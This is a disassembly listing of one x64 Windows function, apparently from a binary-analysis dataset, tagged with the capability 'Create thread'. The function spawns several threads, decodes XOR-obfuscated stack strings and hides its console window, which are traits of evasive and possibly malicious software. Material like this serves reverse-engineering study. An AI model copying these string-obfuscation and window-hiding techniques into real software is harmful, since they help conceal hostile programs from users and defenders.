Function at 0x14002a320
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x14015d080]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor r15d, r15d
lea r8, [0x140006e60]
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140006dc0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1400108f0
call fcn.140012f30
movdqa xmm1, xmmword [0x140149770]
mov sil, gethostname
movd ecx, xmm1
mov r8b, 0x7c
movdqu xmmword [rbp - 0x39], xmm1
mov byte [rbp - 0x20], r15b
mov dl, Ordinal_60
xor byte [rbp - 0x37], cl
movdqa xmm0, xmm1
xor byte [rbp - 0x36], cl
xor sil, cl
xor byte [rbp - 0x35], cl
xor r8b, cl
xor byte [rbp - 0x34], cl
xor dl, cl
xor byte [rbp - 0x33], cl
mov r9b, Ordinal_41
xor byte [rbp - 0x32], cl
xor r9b, cl
xor byte [rbp - 0x31], cl
mov r10b, 0x34
xor byte [rbp - 0x30], cl
xor r10b, cl
xor byte [rbp - 0x2f], cl
mov r11b, reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp - 0x2e], cl
xor r11b, cl
xor byte [rbp - 0x2d], cl
mov bl, reloc.WS2_32.dll_gethostname
xor byte [rbp - 0x2c], cl
xor bl, cl
xor byte [rbp - 0x2b], cl
mov dil, 0x3d
xor byte [rbp - 0x2a], cl
xor dil, cl
psrldq xmm0, 1
mov r14b, 0x2f
movd eax, xmm0
xorps xmm0, xmm0
mov byte [rbp - 0x22], sil
mov rsi, 0xffffffffffffffff
mov byte [rbp - 0x28], r8b
mov r8, rsi
xor al, cl
mov byte [rbp - 0x29], dl
xor r14b, cl
mov byte [rbp - 0x38], al
mov byte [rbp - 0x21], r14b
lea rax, [rbp - 0x38]
mov byte [rbp - 0x27], r9b
mov byte [rbp - 0x26], r10b
mov byte [rbp - 0x25], r11b
mov byte [rbp - 0x24], bl
mov byte [rbp - 0x23], dil
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x14002a460
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x19]
call fcn.140030ee0
xor edx, edx
lea rcx, [rbp - 0x19]
call fcn.140012990
mov ecx, 8
call fcn.1400f0504
lea rcx, [0x14001eaa0]
mov r9, rax
lea r8, [0x140039780]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x2f]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x27], rax
test rax, rax
je 0x14002a74c
mov ecx, 8
call fcn.1400f0504
lea rdx, [0x14001edf0]
mov r9, rax
lea r8, [0x140039780]
xor ecx, ecx
mov qword [rax], rdx
lea rdx, [rbp + 0x1f]
mov qword [rsp + 0x28], rdx
xor edx, edx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x17], rax
test rax, rax
je 0x14002a73c
mov ecx, 8
call fcn.1400f0504
lea rcx, [0x14001f850]
mov r9, rax
lea r8, [0x140039780]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 7], rax
test rax, rax
je 0x14002a72c
movsxd r15, dword [0x14015e4b0]
lea rdx, [0x14015d268]
lea rcx, [rbp - 0x19]
call fcn.14002cd30
mov r8b, reloc.WS2_32.dll_setsockopt
mov byte [rbp - 0x49], 0x77
movzx r9d, r8b
movzx r10d, r8b
mov r14, rax
xor r9b, 0x77
xor eax, eax
mov byte [rbp - 0x45], r9b
xor r10b, 0x77
mov byte [rbp - 0x40], al
xor r8b, 0x77
mov byte [rbp - 0x44], r10b
mov cl, Ordinal_79
mov byte [rbp - 0x46], r8b
xor cl, 0x77
lea rax, [rbp - 0x48]
mov dl, 0x45
mov byte [rbp - 0x48], cl
xor dl, 0x77
mov r11b, reloc.WS2_32.dll_send
xor r11b, 0x77
mov byte [rbp - 0x47], dl
mov bl, 0x41
mov byte [rbp - 0x43], r11b
xor bl, 0x77
mov dil, 0x47
xor dil, 0x77
mov byte [rbp - 0x42], bl
mov byte [rbp - 0x41], dil
inc rsi
cmp byte [rax + rsi], 0
jne 0x14002a5c2
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rcx, [0x14015d2e8]
mov r8, qword [0x14015d2f8]
cmova rcx, qword [0x14015d2e8]
cmp r8, rsi
jne 0x14002a688
lea rdx, [rbp - 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002a688
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14002f850]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [r14 + 0x18], 0xf
mov rdx, r14
jbe 0x14002a624
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
mov rcx, rax
call fcn.140035650
lea rcx, [rbp - 0x49]
mov rbx, r15
call fcn.140005a00
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x49], rax
cmp r15, 1
jl 0x14002a67d
imul rdx, rbx, 0x3b9aca00
movabs r8, 0x7fffffffffffffff
mov rcx, r8
sub rcx, rdx
cmp rax, rcx
jge 0x14002a679
lea rcx, [rdx + rax]
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x49]
call fcn.140035550
jmp 0x14002a6a0
mov qword [rbp - 0x49], r8
lea rcx, [rbp - 0x49]
call fcn.140035550
jmp 0x14002a6a0
lea rdx, [0x14015d248]
lea rcx, [rbp - 0x39]
call fcn.14002cd30
mov rcx, rax
call fcn.140012bc0
mov rcx, r14
call fcn.14002ebf0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov al, 0x65
mov byte [rbp - 0x49], 0x46
movzx ecx, al
mov dl, 0x2f
xor cl, 0x46
movzx r11d, dl
mov r8b, Ordinal_45
mov byte [rbp - 0x47], cl
mov r9b, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp - 0x48]
mov r10b, 0x33
xor al, 0x46
xor dl, 0x46
mov byte [rbp - 0x48], al
xor r8b, 0x46
mov byte [rbp - 0x46], dl
xor r9b, 0x46
mov byte [rbp - 0x45], r8b
xor r10b, 0x46
mov byte [rbp - 0x44], r9b
xor r11b, 0x46
mov byte [rbp - 0x43], r10b
xor ebx, ebx
mov byte [rbp - 0x42], r11b
mov byte [rbp - 0x41], bl
call fcn.1400206a0
cmp dword [rbp + 0xf], ebx
jne 0x14002a725
cmp dword [rbp + 0x1f], ebx
jne 0x14002a725
cmp dword [rbp + 0x2f], ebx
je 0x14002a75c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp + 0xf], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1f], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x2f], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400f0120
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret